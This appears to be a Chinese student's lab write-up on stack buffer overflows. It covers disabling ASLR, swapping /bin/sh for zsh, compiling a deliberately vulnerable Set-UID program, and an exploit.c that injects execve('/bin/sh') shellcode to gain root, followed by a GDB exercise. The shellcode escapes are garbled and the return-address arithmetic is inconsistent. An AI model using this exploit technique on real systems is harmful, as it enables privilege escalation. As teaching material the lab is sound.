学习缓冲区溢出

学习缓冲区溢出的意义

  • 概念解释:
    • 缓冲区溢出:程序试图向缓冲区写入超出预分配固定长度数据的情况。
    • 缓冲区溢出漏洞:由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。
    • 缓冲区溢出攻击:通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。

缓冲区溢出漏洞实验

实验准备

为搭建32位操作环境,方便观察汇编语句,我们进行以下操作:

  1. 输入以下三个命令安装用于编译32位C程序的工具:
sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev
  • 若执行第一条更新命令时,如出现“无法获得锁/var/lib/dpkg/lock”的情况,是因为系统中只允许有一个apt-get进程
  • 解决思路是:先看看有没有其他窗口在使用资源,正在进行更新,或者软件中心正在安装等,再将其关闭,最后重启虚拟机。
    具体步骤如下:
    • 输入“ps -aux”查找最后一列以“update”或“apt-get ”开头的进程,并记住该进程的PID;
    • 输入“sudo kill 该进程的PID”结束该进程。

2.输入命令linux32进入32位linux环境(如图1-1),执行该命令后观察终端窗口最上方可发现已经进入32位linux环境(前后对比图如1-2所示),接着输入/bin/bash使用bash,结果如图1-3所示:

(图1-1)

(图1-2)

(图1-3)

实验步骤

1.初始设置

(1) 缓冲区溢出攻击的关键是猜测内存地址,所以为了方便我们对地址的猜测,我们使用sudo sysctl -w kernel.randomize_va_space=0命令类关闭“地址空间随机化”这一功能,(请注意这里是++sysctl++而不是++sysct1++)如图2-1所示:

(图2-1)

Ubuntu和其他一些Linux系统中,地址空间随机化来随机堆(heap)和栈(stack)的初始地址。

  • sudo sysctl -w kernel.randomize_va_space=0命令详细分析如下:
    • sysctl命令用于运行时配置内核参数,还可以设置或重新设置联网功能。
    • -w参数用于临时改变某个指定参数的值。格式为「 sysctl [-n] [-e] -w variable=value」
    • 设置全局变量 randomize_va_space 值为 0 (该值默认为1),可以让程序的栈和 mmap 映射区域从一个固定位置开始。

为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。

  • 在这里对“shell程序”、“Set-UID程序”进行详细解释,方便大家理解:
    • shell是用户使用Unix/Linux的桥梁。shell程序是一支程序,它由输入设备读取命令,再将其转为计算机可以了解的机械码,然后执行它,即计算机用来解释你输入的命令然后决定进行何种处理的程序。
    • shell与bash的关系:Unix/Linux上常见的Shell脚本解释器有bash、sh、csh、ksh等,习惯上把它们称作一种Shell,其中bash是Linux标准默认的shell。
    • “Set-UID”:当一个具有执行权限的文件设置SetUID权限后,用户执行这个文件时将以文件所有者的身份执行。例如“passwd”命令具有SET-ID权限,所以可以作为root执行命令。这里由于shell程序的防护措施,即使某个shell被赋予了SetID权限也无法保持root权限任意执行命令。

(2)设置zsh程序

linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。

  • 对/bin/sh的详细介绍:
    • /bin/sh相当于 /bin/bash --posix,即使用 sh 调用执行脚本相当于打开了bash 的 POSIX 标准模式
    • 运行ls -l /bin/sh 结果如图2-2所示:

  • 根据对ls -l指令的了解,我们知道,第一个字母“l”表示该文件是一个链接文件。字母"l"是link(链接)的缩写,类似于windows下的快捷方式 ;后面的 “->" 箭头符号后面跟着的是这个链节文件所指向的文件名
    • 链节文件:分为硬链接或符号链接(软链接)两种。硬链接实际上是为文件建一个别名,链接文件和原文件实际上是同一个文件。;而软链接建立的是一个指向,即链接文件内的内容是指向原文件的指针,它们是两个文件。
    • bash 的 POSIX 标准模式:当“$0”是“sh”的时候,bash程序执行时要求下面的代码遵循一定的规范,当不符合规范的语法存在时,则会报错所以可以将“sh”理解成一种标准(POSIX),这种标准,在一定程度上保证了脚本的跨系统性(跨UNIX系统)

为了重现“shell程序在被调用时自动放弃它们的特权”这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。命令如下:

1. sudo su
2. cd /bin
3. rm sh
4. ln -s zsh sh
5. exit
  • 命令分析如下:

    • sudo su 命令缺省参数时表示“使用超级用户权限切换为root账户模式”。
    • ln命令用来为文件创件连接,默认为硬链接,加参数-s则创建符号链接,类似于Windows下创建了一个文件夹的快捷方式。结果:将zsh(源文件)链接到sh(目标文件)。
  • 运行结果如图2-3所示:

(图2-3)

如果是用自己的虚拟机进行实验,实验结束后一定要把sh修改回来,步骤和上述步骤相同,先进入linux32,再进入/bin/bash,输入以下命令:

1. sudo su
2. cd /bin
3. rm sh
4. ln -s dash sh
5. exit

2.shellcode

一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode

本次实验的shellcode就是下方代码的汇编版本“x31xc0x50x68"//sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80”:

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

在64位的机器上产生32位汇编:

gcc -m32 -g shellcode.c -o shellcode

3.漏洞程序

在“/tmp”目录下保存以下代码为“stack.c”:

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);//将主函数中读入的文件内容装入“buffer”

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");//读取一个名为“badfile”的文件
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}
  • 编译该程序,并设置SET-UID:
1. sudo su
2. gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
3. chmod u+s stack
4. exit
  • 详细解释:
    • GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制;
    • -z execstack 用于允许执行栈;
    • -m32 -g 在64位的机器上产生32位汇编。

4.攻击程序

  • 目的:攻击刚才的漏洞程序“stack”,并通过攻击获得root权限。

  • 步骤:

    • 1.在“/tmp”目录下保存以下代码为“stack.c”:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"x31xc0"    //xorl %eax,%eax
"x50"        //pushl %eax
"x68""//sh"  //pushl $0x68732f2f
"x68""/bin"  //pushl $0x6e69622f
"x89xe3"    //movl %esp,%ebx
"x50"        //pushl %eax
"x53"        //pushl %ebx
"x89xe1"    //movl %esp,%ecx
"x99"        //cdq
"xb0x0b"    //movb $0x0b,%al
"xcdx80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");
strcpy(buffer+100,shellcode);//shellcode保存在 buffer+100 的位置

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

注意上面的代码,“x??x??x??x??”处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。

  • 2.运行命令```gdb stack``进入调试状态后,输入“disass main”指令后运行结果如图2-4所示:

(图2-4)

  • 3.依次输入以下命令:
q//退出
b *0x080484e8//在0x080484e8位置设断点
r//运行
i r $esp//获取str首地址

运行结果如图2-5所示:

(图2-5)

  • 4.根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffffd020(十六进制)+100(十进制)=0xffffd084(十六进制)。
  • 5.将exploit.c文件中的x??x??x??x?? 修改为x14xd2xffxff。
    • 解释:地址0xffffd214对应的路径为x14xd2xffxff。
  • 5.编译exploit.c程序
gcc -m32 -o exploit exploit.c

5.攻击结果

  • 先用./exploit运行攻击程序exploit,再用./stack运行漏洞程序stack,观察结:
    • 出现“段错误”,错误结果如图2-5所示:
    • 攻击成功获得root权限,利用whoami查询后发现是root。
  • 出错解决方案:重新使用gdb反汇编,计算内存地址。
  • 按上述方法操作后仍然出现段错误怎么办?

GDB调试汇编堆栈过程课堂实践

  • 代码样例week060420155312.c:
int g(int x){
   return x+3;
}
int f(int x){
    int i = 学号后两位;
   return g(x)+i;
}
int main(void){
   return f(8)+1;
}

  • 命令汇总:
    • 使用“gcc -g week060420155312.c -o week0604 -m32”产生32位汇编,生成可执行文件week0604
    • gdb week0604:使用gdb调试器
    • (以下为在调试状态下的输入)b 10:在主函数处设置行断点
    • r:运行
    • disassemble:显示当前所处函数的反汇编机器码
    • i r:显示各寄存器的值
    • display /i $pc:每次执行下一条汇编语句时,均打印出当前执行的代码
    • si:执行下一条汇编语句
    • x/参数 + 栈指针的值:以参数规定的形式查看栈中某地址单元中的值。eg:x/u 0xffffcfe8;x/2a 0xffffcfe0

f函数执行的整个过程中,各寄存器和栈中的变化情况如下图所示:

参考资料

1.linux ls -l 详解
2.bash的POSIX标准
3.ln命令
4.GDB调试汇编堆栈过程分析

原文地址:https://www.cnblogs.com/zjy1997/p/7726723.html